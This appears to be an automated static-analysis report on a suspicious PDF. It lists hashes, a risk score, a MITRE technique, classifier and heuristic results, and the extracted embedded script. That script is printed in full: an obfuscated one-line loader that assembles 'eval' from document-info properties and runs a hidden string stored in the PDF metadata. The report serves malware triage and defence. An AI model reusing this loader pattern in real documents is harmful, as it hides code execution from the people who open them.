PDF static analysis report

Static analysis result for SHA-256 19a3046382376e4b…

SUSPICIOUS

PDF

9.5 KB First seen: 2026-05-07
MD5: 06735b0369454709cf626444b4d9228f SHA-1: 043e8dff565861157697179658df090cd2296bbc SHA-256: 19a3046382376e4bed38efa7fee5b0aa6f22d82b432cb6fbab1462433657e5a1
46 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript

The PDF file contains embedded JavaScript, flagged by multiple heuristics and a machine learning classifier. The JavaScript code appears to be obfuscated but attempts to execute a function using concatenated strings derived from document properties. This suggests an attempt to download and execute a second-stage payload or perform other malicious actions.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 2

  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0011_000.js pdf-javascript-stream PDF /JS object 11 at offset 0x22C4 108 bytes
SHA-256: e3b8ed99dee109ed231cb155f11bd5b0c7b0d0de66095b5007a392b3f6a72126
Preview script
First 1,000 lines of the extracted script
m1=this.info.cduh;m2=m1.replace(/5qqq5/g,"");m9="val";m3=this.info.vfyg.concat(m9);        this[m3](m2);

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